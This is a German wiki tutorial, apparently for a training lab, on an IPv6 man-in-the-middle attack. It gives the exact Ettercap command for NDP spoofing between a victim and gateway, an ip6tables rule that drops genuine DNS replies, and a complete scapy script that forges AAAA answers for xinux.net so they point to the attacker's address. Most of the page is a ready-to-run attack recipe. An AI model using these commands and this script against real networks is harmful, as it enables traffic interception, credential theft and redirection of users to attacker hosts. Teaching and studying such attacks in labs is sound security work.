IPv6 NDP Spoofing Ettercap plus DNS Spoofing mit scapy

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

Einleitung

Anleitung für IPv6 Man-in-the-Middle Angriffe mittels NDP Spoofing kombiniert mit DNS Spoofing.

Voraussetzungen

  • Angreifer (Kali): 2003:a:32a:1799::3:1
  • Opfer: 2003:a:32a:1799::1:3
  • Gateway: 2003:a:32a:1799::1
  • Zieldomain: xinux.net

Durchführung

Schritt 1: NDP Spoofing mit Ettercap

  • ettercap -i eth0 -Tq -M ndp:remote //2003:a:32a:1799::1:3// //2003:a:32a:1799::1//

Schritt 2: DNS Antworten von externen Servern blockieren

  • ip6tables -I OUTPUT -s 2001:4860:4860::8888 -p udp --sport 53 -j DROP

Schritt 3: DNS Spoofing mit Scapy

Erstelle die Datei dnsspoof.py:

#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if pkt.haslayer(DNS) and pkt[DNS].qr == 0 and pkt.haslayer(DNSQR):
        query = pkt[DNSQR].qname
        if b"xinux.net" in query:
            print(f"Spoofing: {query}")
            
            # OPT Record falls vorhanden kopieren
            additional = None
            if pkt.haslayer(DNS) and pkt[DNS].ar is not None:
                additional = pkt[DNS].ar
                
            # Response mit OPT Record falls vorhanden
            resp = IPv6(src=pkt[IPv6].dst, dst=pkt[IPv6].src)/\
                   UDP(sport=53, dport=pkt[UDP].sport)/\
                   DNS(id=pkt[DNS].id, 
                       qr=1,
                       qd=pkt[DNS].qd,
                       an=DNSRR(rrname=query, type=28, rdata="2003:a:32a:1799::3:1"),
                       ar=additional)
            send(resp, iface="eth0")
            print("Sent spoofed response with OPT")
            return

print("[*] Listening for DNS queries...")
sniff(iface="eth0", filter="ip6 and udp dst port 53", prn=spoof_dns, store=0)

Starten des DNS Spoofers:

  • python3 dnsspoof.py

Verifikation

Auf dem Opfer-Rechner testen:

  • dig -t aaaa xinux.net
  • ping xinux.net

Die Ausgabe sollte die gespoofete IPv6-Adresse des Angreifers zeigen.